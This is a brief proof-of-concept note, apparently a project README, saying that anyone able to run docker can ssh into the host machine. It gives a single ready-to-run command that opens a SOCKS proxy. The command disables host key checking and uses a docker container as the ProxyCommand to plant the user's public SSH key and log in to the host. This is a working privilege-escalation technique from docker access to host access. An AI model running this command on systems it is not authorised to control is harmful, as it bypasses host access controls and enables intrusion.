If you can run docker, you can ssh to the machine. This is a PoC :)
To start your socks proxy:
ssh -CD 1080 -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o ProxyCommand="docker run --rm -i cell/ssh-over-docker $(cat ~/.ssh/id_rsa.pub)" [email protected]